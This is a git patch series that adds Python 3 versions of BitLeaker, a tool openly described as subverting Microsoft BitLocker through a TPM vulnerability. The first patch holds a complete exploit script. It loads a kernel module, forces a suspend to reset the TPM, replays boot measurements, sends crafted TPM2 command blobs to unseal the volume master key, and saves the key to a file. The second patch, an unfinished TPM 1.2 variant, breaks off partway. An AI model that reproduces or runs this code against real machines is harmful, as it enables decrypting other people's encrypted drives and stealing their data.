From c0c3eda4b79271d82b5cd5f682c457cc3d6869fb Mon Sep 17 00:00:00 2001 From: Brandon Warhurst Date: Wed, 21 Oct 2020 08:34:43 -0400 Subject: [PATCH 1/7] Added python3 version of Bitleaker. --- bitleaker-3.py | 549 +++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 549 insertions(+) create mode 100755 bitleaker-3.py diff --git a/bitleaker-3.py b/bitleaker-3.py new file mode 100755 index 0000000..43cea70 --- /dev/null +++ b/bitleaker-3.py @@ -0,0 +1,549 @@ +#!/usr/bin/python3 +#-*- coding: utf-8 -*- +# +# BitLeaker +# ------------ +# Subverting Microsoft's BitLocker with One Vulnerability +# +# Copyright (C) 2019 Seunghun Han +# at the Affiliated Institute of ETRI +# Project link: https://github.com/kkamagui/bitleaker +# + +import subprocess +import os +import sys +import re +from binascii import hexlify,unhexlify +from time import sleep + +# +# TPM data for unseal VMK of BitLocker +# +data_tpm2_load_header = [0x80, 0x02, 0x00, 0x00, 0x00, 0xf7, 0x00, 0x00, 0x01, 0x57, 0x81, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x09, 0x40, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00] +data_tpm2_startsession = [0x80, 0x01, 0x00, 0x00, 0x00, 0x3b, 0x00, 0x00, 0x01, 0x76, 0x40, 0x00, 0x00, 0x07, 0x40, 0x00, 0x00, 0x07, 0x00, 0x20, 0xe3, 0x4c, 0xe2, 0xd5, 0x48, 0x7f, 0x73, 0x97, 0xb2, 0x8d, 0xb4, 0xe7, 0x93, 0xde, 0x4c, 0x36, 0x91, 0x8a, 0xa5, 0x1f, 0x3b, 0x48, 0x0c, 0x1f, 0x7f, 0x75, 0x79, 0xc5, 0xee, 0xfa, 0xa9, 0x83, 0x00, 0x00, 0x01, 0x00, 0x10, 0x00, 0x0b] +data_tpm2_policyauthorize = [0x80, 0x01, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x00, 0x01, 0x6b, 0x03, 0x00, 0x00, 0x00] +data_tpm2_pcrpolicy_header = [0x80, 0x01, 0x00, 0x00, 0x00, 0x3a, 0x00, 0x00, 0x01, 0x7f, 0x03, 0x00, 0x00, 0x00] +data_tpm2_pcrpolicy_subheader = [0x00, 0x00, 0x00, 0x01, 0x00, 0x0b] +data_tpm2_unseal = [0x80, 0x02, 0x00, 0x00, 0x00, 0x1b, 0x00, 0x00, 0x01, 0x5e, 0x80, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x09, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00] + +# SHA256 of bootmgfw.efi certificate, it is used for PCR #7 +sha256_bootmgfw_cert = '30bf464ee37f1bc0c7b1a5bf25eced275347c3ab1492d5623ae9f7663be07dd5' +sha1_bootmgfw_cert = 'b454c11078377da921e0265b1a6742b8d5cf67a7' + +# +# Color codes +# +RED = '\033[1;31m' +GREEN = '\033[1;32m' +YELLOW = '\033[1;33m' +BLUE = '\033[1;34m' +MAGENTA = '\033[1;35m' +CYAN = '\033[1;36m' +WHITE = '\033[1;37m' +ENDC = '\033[0m' +BOLD = '\033[1m' +UNDERLINE = '\033[4m' +BLINK = '\033[5m' +SUCCESS = GREEN +FAIL = RED +filename = 'key.txt' + +# +# Print colored message +# +def color_print(message, color): + sys.stdout.write(color + message + ENDC) + return + +def info_print(message): + color_print(message, BOLD) + +# +# Show a banner. +# +def show_banner(): + banner = """\ + ,║▒▒▒▒▒▒@╖ + ╥▒▒╝ ▒▒▒╢ + ]▒▒╢ ]▒▒╢ + ]▒▒▒ j▒▒╢ + , ,╖║▒▒▒ + ,╓╖, ╓@╬@╥╥╬╣╢╢▓▓ ╖▒╖▒╙▒▒▒░░░▒░▒▒▒▒. + ║╬@▓╢╢╢╢╢ ╢╢╢╢╢╢╢╢╢╢╢╢[ ╜╜╜╢╢▒▒░░░░░░▒@▓▓▄▒▒▒▒╖ + ╢╢╢╢╢╢╢╢╢ ╢╢╢╢╢╢╢╢╢╢╢╢[ ░░░░░╙╢▓╣╬▓▓@@▓▓@░░æ▓▓▓[ + ╢╢╢╢╢╢╢╢╢ ╢╢╢╢╢╢╢╢╢╢..[ ░░░░░ ░▒▒▒▒▒▒▒▒▒▒▓▓▓▒▒▒H + ╢ ╢` ░░░░░░░▒▒▒▒▒▒▒▒▒▒╢▒▒╢╢╢[ + ..╢╢╢╢╢╢╢ ╢╢╢╢╢╢╢╢╢╢╢╢ ░░░░░░░▒▒▒▒▒▒▒▒▒▒╢╢╢╢╢╢[ + ╢╢╢╢╢╢╢╢╢ ╢╢╢╢╢╢╢╢╢╢╢╢[ ¿░░░,░░░░░░░▒▒▒▒▒▒▒▒▒▒╢╢╢╢╢╢[ + ╢╢╢╢╢╢╢╢╢ ╢╢╢╢╢╢╢╢╢╢╢╢░░░░░░░░░░░░╣▓▓@░░░▒▒▒▒▒▒▒▒▒▒╫╣╣╣▓▓[ + ╙╙ ╙╬ ╨╜╙╬╢╢╢╣╣╢╢╢░░░░░░░░░░░░░░░░╫▓@▓▓▓▒▒▒▒▒▒▒▓▓▓▓▓▓[ + ,,, ,░░░░░░░░░░╙╨░░░░░░░░░░░░░░░░░░▓▒▒▒▓▓▓▓▓▓▓▓▓▓▓▀"` + ,,.░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░]▒░░░╙╢▒▓╣▓▒▒▒▒ ] + ▐▓█████▄░░░░▒░░░░░░░░░░░░░░░░░░░░░░░░░░╟▒▒▒▒▒▒▒▒▒╣▓╢╢╢ ░░ + ▐▓▓██████████▄░░░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▓╢▒▒▒▒╢▓╢╢▒┌░░ + ▐▓▓█████████████████▄░░░▒▒░░▒▒▒▒▒▒▒╢╢╢╢╢╢Ñ▒▒▓╢▒▒▒▒▓╣╢╜▒░░ + ╜▓▓██▀████████████████▌║▒▒▒▒╢╢╢╢╣╢╢╢╣╣╣╣╣╣╣╝╣▒▒╢▓" ▒░░ + ` "╙``╙╣▀█▀▀██████████▌╢╢╢╢╢╢╢╣╣╣╣╣╢Ñ╜╨Ñ╝` ╙ ,, ▒▒▒ + "` "╨╢▀▀▓▓███▌╢╣╣╣╣╣╣╜╜╨╨╜ ▄, ░░ ,▌ ░░▒▒▒ + ░ e ╙╣▓▌Ñ╜╙╙╜` ▌▓ ░░░ ░░░░░▒▒▒ + ░░░░╧╤░░░ , , ▐░ ░░░░ ░░░░░░░░█▐░▒░▒▒▒ + ░░░░,░░░░░░ ▐, j▌█ ░ ░░░░░░░░░░░▐░░▒░░░░░░░▒░▒▒▒ + ░░░░▌█░░░░░░░░░░░░ ░░░░░░░░░░░░╪░░░░░░░░░░░▒░░▒░▒▌▒▒▒▒▒▒` + ▒▒▒▒░▒▒▒▒▒▒░░æ▄▒░▒▒░░æ▄▒▒▒▒▒▒▒▒▌▓▒▒▒▒▒▒▒æ▒▒▒▒▒▒▒▓▓▒▒▒▒▒▒ + ]▒▒▒▒░▒▒▒▒▒▒▒▒╬▒▒▒▒▒▒▒╬▒▒▒▒▒▒▒▒▒▐▌▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░ + └ ▒░░▒▒▒▒▒░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒]▒░▒▒░▒░▒▒▒░▒▒▒░░░ ░░░; ░░ + ▒░░▒▒░▒║░▒▒▒▒▒▒░▒▒▒▒▒░▒]▒▒]░░▒▒░░ ░░▒░▒░▒░░ ░░ ⌡ ░ + ░ ░░▒░▒] ░░▒░▒░░▒▒░]░░▒;▒▒]░░░░ ░ ░░j░░░▒░ ░ ! + ░▒L░░└ ░░ ░▒ ░ ░░▒!▒▒ ░ ░ ░ ░░└ ░ ▒ + ▒L░ ░▒ ░ ░ ░ ░ ░ └ ░ + +""" + \ + GREEN +' BitLeaker v1.0 for decrypting BitLocker with the TPM vulnerability\n' + ENDC + \ + ' Made by Seunghun Han, https://kkamagui.github.io\n' + \ + ' Project link: https://github.com/kkamagui/bitleaker \n' + print(banner) + +# +# Prepare PCR data from dmesg +# +def prepare_pcr_data(): + """ + [ 27.955579] bitleaker: Virt FFFFAF80C55E0000 Phys 80000 + [ 27.955582] bitleaker: evet_version = 2 + [ 27.955588] bitleaker: TCG_PCR_EVENT size 36 TCG_PCR_EVENT2 size 12 + [ 27.955595] bitleaker: Start 0x6f484000, End 0x6f48ebd5, Trunc 0 + [ 27.955610] bitleaker: [1] PCR 0, Event 7, SHA256= 31 37 22 f6 4f 2a 08 57 c6 01 26 6c 89 bf 21 70 0a 7c 4e 79 dc 96 76 4c 2a 35 55 68 2a 3c 7b 7a + [ 27.955627] bitleaker: [2] PCR 0, Event 8, SHA256= d4 72 0b 40 09 43 82 13 b8 03 56 80 17 f9 03 09 3f 6b ea 8a b4 7d 28 3d b3 2b 6e ab ed bb f1 55 + [ 27.955642] bitleaker: [3] PCR 0, Event 1, SHA256= db e1 4c 63 b7 d0 be dd 3f aa 9d b8 8f 9c 34 ad 75 a6 91 f7 c0 17 7f 70 1e ee 59 5d 44 d9 62 bc + [ 27.955661] bitleaker: [4] PCR 7, Event 80000001, SHA256= cc fc 4b b3 28 88 a3 45 bc 8a ea da ba 55 2b 62 7d 99 34 8c 76 76 81 ab 31 41 f5 b0 1e 40 a4 0e + [ 27.955678] bitleaker: [5] PCR 7, Event 80000001, SHA256= 78 68 42 98 cc 54 cf 75 50 bd 38 d3 c3 78 ee ee 59 d3 ae 02 76 32 cd a6 f5 07 ac 5c cd 25 7b 35 + ... omitted ... + [ 27.957613] bitleaker: == End of Data == + """ + info_print('Loading BitLeaker kernel module... ') + #subprocess.getoutput('sudo insmod bitleaker-kernel-module/bitleaker-kernel-module.ko') + #subprocess.getoutput('sudo insmod bitleaker-kernel-module/bitleaker-kernel-module-5.3.ko') + subprocess.getoutput('sudo modprobe bitleaker-kernel-module') + color_print('Success\n', SUCCESS) + + info_print('Entering sleep...\n') + info_print(' [>>] Please press any key or power button to wake up...') + input('') + subprocess.getoutput('systemctl suspend') + info_print('Waking up...\n') + info_print(' [>>] Please press any key to continue...') + input('') + info_print('\n') + + info_print('Preparing PCR data.\n') + info_print(' [>>] Get PCR data from BitLeaker driver... '), + output = subprocess.getoutput('sudo dmesg').split('\n') + + first_marker_found = 0 + second_marker_found = 0 + raw_data = [] + for line in output: + if 'Dump event logs' in line: + first_marker_found = 1 + + if first_marker_found == 1 and 'SHA256' in line: + second_marker_found = 1 + + if second_marker_found == 1 and 'End of Data' in line: + break + + if second_marker_found == 1: + raw_data.append(line) + + if len(raw_data) == 0: + color_print('Fail\n', FAIL) + sys.exit(-1) + color_print('Success\n\n', SUCCESS) + + return raw_data + +# +# Cut PCR data and extract pcr_list +# +def cut_and_extract_essential_pcr_data(raw_data): + """ + [ 27.955610] bitleaker: [1] PCR 0, Event 7, SHA256= 31 37 22 f6 4f 2a 08 57 c6 01 26 6c 89 bf 21 70 0a 7c 4e 79 dc 96 76 4c 2a 35 55 68 2a 3c 7b 7a + """ + info_print('Cut and extract essential PCR data.\n') + + extracted_raw_data = [] + ev_separator_found = 0 + for line in raw_data: + if ev_separator_found == 1 and 'PCR 7' in line: + break + + if 'Event 4' in line: + ev_separator_found = 1 + + extracted_raw_data.append(line) + + info_print(' [>>] Extract PCR numbers and SHA256 hashes... ') + + # Extract PCR numbers and SHA256 hashes + pcr_list = [] + for line in extracted_raw_data: + # PCR number + match = re.search(r'\d+?,', line) + pcr_num = match.group(0).replace(',', ' ') + + # SHA 256 + match = re.search(r'(?<=SHA256=).*', line) + sha256 = match.group(0).replace(' ', '') + + pcr_list.append([pcr_num, sha256]) + + if len(pcr_list) != 0: + color_print('Success\n\n', SUCCESS) + else: + color_print('Fail\n\n', FAIL) + sys.exit(-1) + + return pcr_list + +# +# Check resource manager is running and run it +# +def check_and_run_resource_manager(): + info_print(' [>>] Checking the resource manager process... ') + sys.stdout.flush() + + output = subprocess.getoutput('sudo ps -e | grep resourcemgr') + if 'resourcemgr' in output: + color_print('Running\n', SUCCESS) + return 0 + + pid = os.fork() + if pid == 0: + subprocess.getoutput('sudo resourcemgr > /dev/null') + sys.exit(0) + else: + # Wait for the resource manager + resourcemgr_found = False + + for i in range(0, 10): + output = subprocess.getoutput('ps -e | grep resourcemgr') + if len(output) != 0: + resourcemgr_found = True + break + + sleep(1) + + if resourcemgr_found == False: + color_print('Fail\n', FAIL) + sys.exit(-1) + + color_print('Success\n', SUCCESS) + sleep(3) + return 0 + +# +# Replay PCR data to the TPM +# +def replay_pcr_data(pcr_list): + info_print('Replay TPM data.\n') + check_and_run_resource_manager() + + for pcr_data in pcr_list: + info_print(' [>>] PCR %s, SHA256 = %s\n' % (pcr_data[0], pcr_data[1])) + output = subprocess.getoutput('tpm2_extendpcrs -g 0x0b -P %s -i %s' % (pcr_data[0], pcr_data[1])) + print(output + '\n') + + # Last one for PCR #7 + #info_print(' [>>] Last PCR 7, SHA256 = %s\n' % (sha1_bootmgfw_cert)) + #info_print(' [>>] Last PCR 7, SHA256 = %s\n' % (sha256_bootmgfw_cert)) + output = subprocess.getoutput('tpm2_extendpcrs -g 0x0b -P 7 -i %s' % sha256_bootmgfw_cert) + print(output + '\n') + + os.system('sudo killall resourcemgr') + +# +# Extract TPM encoded blob from Dislocker tool +# +def get_raw_tpm_encoded_blob_from_dislocker(drive_path): + """ + Thu Oct 10 15:01:04 2019 [DEBUG] 0x00000000 00 8a 00 20 17 a4 c4 51-c1 ee 18 52 89 b0 e3 ac + Thu Oct 10 15:01:04 2019 [DEBUG] 0x00000010 39 65 f7 32 25 5b 87 ac-31 14 ed 1a 99 ac 62 4c + Thu Oct 10 15:01:04 2019 [DEBUG] 0x00000020 b2 90 b5 c1 00 10 8c cf-34 58 f5 1a 18 04 f9 2e + Thu Oct 10 15:01:04 2019 [DEBUG] 0x00000030 62 fa e3 93 a0 d1 ce 1f-49 99 9b ac 6d e8 27 97 + Thu Oct 10 15:01:04 2019 [DEBUG] 0x00000040 c9 f9 c2 20 aa e7 23 1f-7c 68 1e 7e 74 65 c6 89 + Thu Oct 10 15:01:04 2019 [DEBUG] 0x00000050 d9 f2 94 15 51 0f a1 8a-64 ae f6 c0 01 bb 8b 67 + Thu Oct 10 15:01:04 2019 [DEBUG] 0x00000060 0a 2d 3b 65 15 f1 62 51-2d 8b 61 0d 8b 98 3f 76 + Thu Oct 10 15:01:04 2019 [DEBUG] 0x00000070 b3 3f 64 7a 12 59 74 bb-60 e5 ad 5e 61 a1 31 3c + Thu Oct 10 15:01:04 2019 [DEBUG] 0x00000080 f9 90 17 6c fe 07 eb 49-20 69 55 66 00 4e 00 08 + Thu Oct 10 15:01:04 2019 [DEBUG] 0x00000090 00 0b 00 00 04 12 00 20-6f b5 05 0c 0a 64 e6 ff + Thu Oct 10 15:01:04 2019 [DEBUG] 0x000000a0 2e 0a f1 8e 9c d8 26 40-87 44 b0 f2 08 4a bc a9 + Thu Oct 10 15:01:04 2019 [DEBUG] 0x000000b0 c7 cd 7e 72 17 de cc f0-00 10 00 20 3d c3 40 aa + Thu Oct 10 15:01:04 2019 [DEBUG] 0x000000c0 98 5b 5b 48 50 9e 71 c2-19 03 0a bc bd 95 a6 10 + Thu Oct 10 15:01:04 2019 [DEBUG] 0x000000d0 22 12 2d e3 e6 50 63 79-af f1 3c c4 00 20 5f f5 + Thu Oct 10 15:01:04 2019 [DEBUG] 0x000000e0 9b 8f b8 7c 48 dc 43 68-60 eb a2 70 cc a2 22 4e + Thu Oct 10 15:01:04 2019 [DEBUG] 0x000000f0 7b b9 f0 83 ed fe 78 91-fa ed e2 b4 de 5a 03 80 + Thu Oct 10 15:01:04 2019 [DEBUG] 0x00000100 08 00 + """ + # Run Dislocker with debug mode + output = subprocess.getoutput('sudo dislocker -v -v -v -v -V %s' % drive_path).split('\n') + + first_marker_found = 0 + second_marker_found = 0 + raw_data = [] + for line in output: + if 'TPM_ENCODED' in line: + first_marker_found = 1 + + if first_marker_found == 1 and '0x00000000' in line: + second_marker_found = 1 + + if second_marker_found == 1: + raw_data.append(line) + + if second_marker_found == 1 and not '0x000000' in line: + break + + return raw_data + +# +# Extract private/public data and PCR policy +# +def extract_priv_pub_and_pcr_policy_from_raw_blob(raw_tpm_blob): + hex_data = [] + for line in raw_tpm_blob: + line = line.replace('-', ' ') + line = line.replace(' ', ' ') + data_list = line.split(' ') + hex_data = hex_data + data_list[7:23] + + priv_pub = [int(hex_data[i], 16) for i in range(0, 220)] + pcr_policy = [int(hex_data[i], 16) for i in range(220, len(hex_data) - 1)] + return(priv_pub, pcr_policy) + +# +# Prepare TPM data for unsealing VMK of BitLocker +# +def prepare_tpm_data(drive_path): + info_print('Preparing TPM data.\n') + info_print(' [>>] Get TPM-encoded blob from dislocker... ') + raw_data_list = get_raw_tpm_encoded_blob_from_dislocker(drive_path) + if raw_data_list == []: + print('BitLeaker: Error. %s is not BitLocker-locked partition\n' % drive_path) + sys.exit(-1) + color_print('Success\n', SUCCESS) + + info_print(' [>>] Convert TPM-encoded blob to hex data... ') + hex_priv_pub, pcr_policy = extract_priv_pub_and_pcr_policy_from_raw_blob(raw_data_list) + color_print('Success\n', SUCCESS) + + # Prepare TPM2_Load data + info_print(' [>>] Create TPM2_Load data... ') + data = data_tpm2_load_header + hex_priv_pub + file = open('tpm2_load.bin', 'wb') + file.write(bytearray(data)) + file.close() + color_print('Success\n', SUCCESS) + + # Prepare TPM2_StartSession data + info_print(' [>>] Create TPM2_StartSession data... ') + data = data_tpm2_startsession + file = open('tpm2_startsession.bin', 'wb') + file.write(bytearray(data)) + file.close() + color_print('Success\n', SUCCESS) + + # Prepare TPM2_PolicyAuthorize data + info_print(' [>>] Create TPM2_PolicyAuthorize data... ') + data = data_tpm2_policyauthorize + file = open('tpm2_policyauthorize.bin', 'wb') + file.write(bytearray(data)) + file.close() + color_print('Success\n', SUCCESS) + + # Prepare TPM2_PCRPolicy data + info_print(' [>>] Create TPM2_PolicyPCR data... ') + data1 = data_tpm2_pcrpolicy_header + pcr_policy[:len(pcr_policy) - 4] + data2 = data_tpm2_pcrpolicy_subheader + pcr_policy[len(pcr_policy) - 4:] + file = open('tpm2_policypcr.bin', 'wb') + file.write(bytearray(data1)) + file.write(bytearray(data2)) + file.close() + color_print('Success\n', SUCCESS) + + # Prepare TPM2_Unseal data + info_print(' [>>] Create TPM2_Unseal data... ') + data = data_tpm2_unseal + file = open('tpm2_unseal.bin', 'wb') + file.write(bytearray(data)) + file.close() + color_print('Success\n\n', SUCCESS) + +# +# Execute TPM2 command data for unsealing VMK +# +def execute_tpm_cmd_and_extract_vmk(): + info_print('Execute TPM commands\n') + + # Execute TPM2_Load command + info_print(' [>>] Execute TPM2_Load... ') + output = subprocess.getoutput('sudo tpmtcticlient -i tpm2_load.bin') + print(output) + if 'Fail' in output: + color_print(' [>>] Fail\n\n', FAIL) + sys.exit(-1) + color_print(' [>>] Success\n\n', SUCCESS) + sleep(2) + + # Execute TPM2_StartSession command + info_print(' [>>] Execute TPM2_StartSession... ') + output = subprocess.getoutput('sudo tpmtcticlient -i tpm2_startsession.bin') + print(output) + if 'Fail' in output: + color_print(' [>>] Fail\n\n', FAIL) + sys.exit(-1) + color_print(' [>>] Success\n\n', SUCCESS) + sleep(2) + + # Execute TPM2_PolicyAuthorize command + info_print(' [>>] Execute TPM2_PolicyAuthorize... ') + output = subprocess.getoutput('sudo tpmtcticlient -i tpm2_policyauthorize.bin') + print(output) + if 'Fail' in output: + color_print(' [>>] Fail\n\n', FAIL) + sys.exit(-1) + color_print(' [>>] Success\n\n', SUCCESS) + sleep(2) + + # Execute TPM2_PolicyPCR command + info_print(' [>>] Execute TPM2_PolicyAuthorize... ') + output = subprocess.getoutput('sudo tpmtcticlient -i tpm2_policypcr.bin') + print(output) + if 'Fail' in output: + color_print(' [>>] Fail\n\n', FAIL) + sys.exit(-1) + color_print(' [>>] Success\n\n', SUCCESS) + sleep(2) + + # Execute TPM2_Unseal command + info_print(' [>>] Execute TPM2_Unseal... ') + output = subprocess.getoutput('sudo tpmtcticlient -i tpm2_unseal.bin') + print(output) + if 'Fail' in output: + color_print(' [>>] Fail\n\n', FAIL) + sys.exit(-1) + sys.exit(-1) + color_print(' [>>] Success\n\n', SUCCESS) + sleep(2) + + # Extract VMK from TPM result + vmk_data = extract_vmk_from_tpm_result(output.split('\n')) + return vmk_data + +# +# Extract VMK from TPM result +# +def extract_vmk_from_tpm_result(tpm_output): + """ + [>>] Execute TPM2_Unseal... Input file tpm2_unseal.bin +Initializing Local Device TCTI Interface + [>>] Input Size 27 +00000000 80 02 00 00 00 1b 00 00 01 5e 80 00 00 01 00 00 |.........^......| +00000010 00 09 03 00 00 00 00 00 00 00 00 |...........| + + [>>] Output Size 97, Result: Success +00000000 80 02 00 00 00 61 00 00 00 00 00 00 00 2e 00 2c |.....a.........,| +00000010 2c 00 05 00 01 00 00 00 03 20 00 00 88 2e b7 28 |,........ .....(| +00000020 33 cd 21 05 f5 38 ea 60 89 51 62 e8 61 5b 0c ed |3.!..8.`.Qb.a[..| +00000030 6a 63 7e f9 17 83 55 e9 0f 70 95 09 00 20 df e3 |jc~...U..p... ..| +00000040 75 69 1f e8 30 33 ef 3f 10 49 e3 53 de 18 e4 f1 |ui..03.?.I.S....| +00000050 0c e2 18 dd 7c bf ab 1d 6d 63 38 ec d1 f3 00 00 |....|...mc8.....| +00000060 00 |.| +Success + """ + output_found = 0 + vmk_data = [] + for line in tpm_output: + if 'Output Size' in line: + output_found = 1 + continue + + if not 'Success' in line: + return [] + + if output_found == 1 and not '0000' in line: + break + + if output_found == 1: + data = line.split('|') + data = data[0].split() + vmk_data = vmk_data + data[1:17] + + vmk_data = [int(vmk_data[i], 16) for i in range(28, 60)] + return vmk_data + +# +# Mount BitLocker-locked partition with the VMK +# +def mount_bitlocker_partition_with_vmk(drive_path, vmk_data): + info_print('Mount BitLocker-locked Partition with VMK.\n') + + # Print VMK + color_print(' [>>] VMK = ', GREEN) + for hex in vmk_data: + color_print('%02X'% hex, GREEN) + info_print('\n') + + # Prepare TPM2_Load data + info_print(' [>>] Create VMK data... ') + file = open('vmk.bin', 'wb') + file.write(bytearray(vmk_data)) + file.close() + color_print('Success\n', SUCCESS) + + # Mount BitLocker-locked partition + subprocess.getoutput('mkdir windows') + info_print(' [>>] Mount BitLocker-Locked partition(%s)...\n\n' % drive_path) + output = subprocess.getoutput('sudo dislocker -v -v -v -V %s -K vmk.bin -- ./windows' % drive_path) + print(output) + output = subprocess.getoutput('sudo mount -o loop ./windows/dislocker-file ./windows') + +# +# Main +# +if __name__ == '__main__': + # Show a banner + show_banner() + + # Searching for BitLocker-locked partitions + info_print('Search for BitLocker-locked partitions.\n') + + if len(sys.argv) != 2: + output = subprocess.getoutput('sudo fdisk -l 2>/dev/null | grep "Microsoft basic data"').split('\n') + if len(output) == 0: + color_print(' [>>] BitLocker-locked partition is not found.\n', FAIL) + info_print(' [>>] Please try with the explicit drive path. ./bitleaker.py \n') + sys.exit(-1) + + drive_path = output[0].split(' ')[0] + else: + drive_path = sys.argv[1] + + info_print(' [>>] BitLocker-locked partition is [%s]\n\n' % drive_path) + + # Prepare PCR data + raw_data = prepare_pcr_data() + pcr_list = cut_and_extract_essential_pcr_data(raw_data) + replay_pcr_data(pcr_list) + + # Prepare TPM data and extract VMK + f = open(filename,'wb') + prepare_tpm_data(drive_path) + vmk_data = execute_tpm_cmd_and_extract_vmk() + f.write(hexlify(bytearray(vmk_data))) + f.close() + + +# # Mount BitLocker-locked partition with VMK +# mount_bitlocker_partition_with_vmk(drive_path, vmk_data) + From 87240397b5e39c94e05f3ee23b362ce47615c3fd Mon Sep 17 00:00:00 2001 From: Brandon Warhurst Date: Wed, 21 Oct 2020 08:53:22 -0400 Subject: [PATCH 2/7] First pass at Bitleaker tcg 1.2 -- not ready. --- bitleaker-3-v1.py | 628 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 628 insertions(+) create mode 100755 bitleaker-3-v1.py diff --git a/bitleaker-3-v1.py b/bitleaker-3-v1.py new file mode 100755 index 0000000..598b31c --- /dev/null +++ b/bitleaker-3-v1.py @@ -0,0 +1,628 @@ +#!/usr/bin/python3 +#-*- coding: utf-8 -*- +# +# BitLeaker +# ------------ +# Subverting Microsoft's BitLocker with One Vulnerability +# +# Copyright (C) 2019 Seunghun Han +# at the Affiliated Institute of ETRI +# Project link: https://github.com/kkamagui/bitleaker +# + +import subprocess +import os +import sys +import re +from binascii import hexlify,unhexlify +from time import sleep + + +tpm_library_path = "LD_LIBRARY_PATH=tpm2-tools/src/.libs:TPM2.0-TSS/tcti/.libs:TPM2.0-TSS/sysapi/.libs" +dislocker_library_path = "LD_LIBRARY_PATH=dislocker/src" +# +# TPM data for unseal VMK of BitLocker +# +data_tpm2_load_header = [0x80, 0x02, 0x00, 0x00, 0x00, 0xf7, 0x00, 0x00, 0x01, 0x57, 0x81, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x09, 0x40, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00] +data_tpm1_load_header = [0x80, 0x02, 0x00, 0x00, 0x00, 0xdf, 0x00, 0x00, 0x01, 0x57, 0x81, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x09, 0x40, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00] +data_tpm2_startsession = [0x80, 0x01, 0x00, 0x00, 0x00, 0x3b, 0x00, 0x00, 0x01, 0x76, 0x40, 0x00, 0x00, 0x07, 0x40, 0x00, 0x00, 0x07, 0x00, 0x20, 0xe3, 0x4c, 0xe2, 0xd5, 0x48, 0x7f, 0x73, 0x97, 0xb2, 0x8d, 0xb4, 0xe7, 0x93, 0xde, 0x4c, 0x36, 0x91, 0x8a, 0xa5, 0x1f, 0x3b, 0x48, 0x0c, 0x1f, 0x7f, 0x75, 0x79, 0xc5, 0xee, 0xfa, 0xa9, 0x83, 0x00, 0x00, 0x01, 0x00, 0x10, 0x00, 0x0b] +data_tpm1_startsession = [0x80, 0x01, 0x00, 0x00, 0x00, 0x2f, 0x00, 0x00, 0x01, 0x76, 0x40, 0x00, 0x00, 0x07, 0x40, 0x00, 0x00, 0x07, 0x00, 0x14, 0x30, 0xb9, 0xbd, 0x22, 0x3d, 0x3c, 0x38, 0x95, 0x3d, 0x85, 0x9c, 0xf1, 0x3b, 0xf7, 0xcb, 0xca, 0x88, 0x7a, 0x26, 0x49, 0x00, 0x00, 0x01, 0x00, 0x10, 0x00, 0x04] +data_tpm2_policyauthorize = [0x80, 0x01, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x00, 0x01, 0x6b, 0x03, 0x00, 0x00, 0x00] +data_tpm1_policyauthorize = [0x80, 0x01, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x00, 0x01, 0x6b, 0x03, 0x00, 0x00, 0x00] +data_tpm2_pcrpolicy_header = [0x80, 0x01, 0x00, 0x00, 0x00, 0x3a, 0x00, 0x00, 0x01, 0x7f, 0x03, 0x00, 0x00, 0x00] +data_tpm1_pcrpolicy_header = [0x80, 0x01, 0x00, 0x00, 0x00, 0x2e, 0x00, 0x00, 0x01, 0x7f, 0x03, 0x00, 0x00, 0x00] +data_tpm2_pcrpolicy_subheader = [0x00, 0x00, 0x00, 0x01, 0x00, 0x0b] +data_tpm1_pcrpolicy_subheader = [0x00, 0x00, 0x00, 0x01, 0x00, 0x04] +data_tpm2_unseal = [0x80, 0x02, 0x00, 0x00, 0x00, 0x1b, 0x00, 0x00, 0x01, 0x5e, 0x80, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x09, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00] +data_tpm1_unseal = [0x80, 0x02, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x01, 0x5e, 0x80, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x09, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00] + +# SHA256 of bootmgfw.efi certificate, it is used for PCR #7 +sha256_bootmgfw_cert = '30bf464ee37f1bc0c7b1a5bf25eced275347c3ab1492d5623ae9f7663be07dd5' +#sha1_bootmgfw_cert = '8b4866854c0b829dd967a1d9f100a3920d412792' +#sha1_bootmgfw_cert = '8cfba0f34dda0f98ba4acec8e609a5f0a2b426b3' +sha1_bootmgfw_cert = '9fc713b7248d99a1a0db3d50c14eb9b4ff270721' + +# +# Color codes +# +RED = '\033[1;31m' +GREEN = '\033[1;32m' +YELLOW = '\033[1;33m' +BLUE = '\033[1;34m' +MAGENTA = '\033[1;35m' +CYAN = '\033[1;36m' +WHITE = '\033[1;37m' +ENDC = '\033[0m' +BOLD = '\033[1m' +UNDERLINE = '\033[4m' +BLINK = '\033[5m' +SUCCESS = GREEN +FAIL = RED +filename = 'key.txt' + +# +# Print colored message +# +def color_print(message, color): + sys.stdout.write(color + message + ENDC) + return + +def info_print(message): + color_print(message, BOLD) + +# +# Show a banner. +# +def show_banner(): + banner = """\ + ,║▒▒▒▒▒▒@╖ + ╥▒▒╝ ▒▒▒╢ + ]▒▒╢ ]▒▒╢ + ]▒▒▒ j▒▒╢ + , ,╖║▒▒▒ + ,╓╖, ╓@╬@╥╥╬╣╢╢▓▓ ╖▒╖▒╙▒▒▒░░░▒░▒▒▒▒. + ║╬@▓╢╢╢╢╢ ╢╢╢╢╢╢╢╢╢╢╢╢[ ╜╜╜╢╢▒▒░░░░░░▒@▓▓▄▒▒▒▒╖ + ╢╢╢╢╢╢╢╢╢ 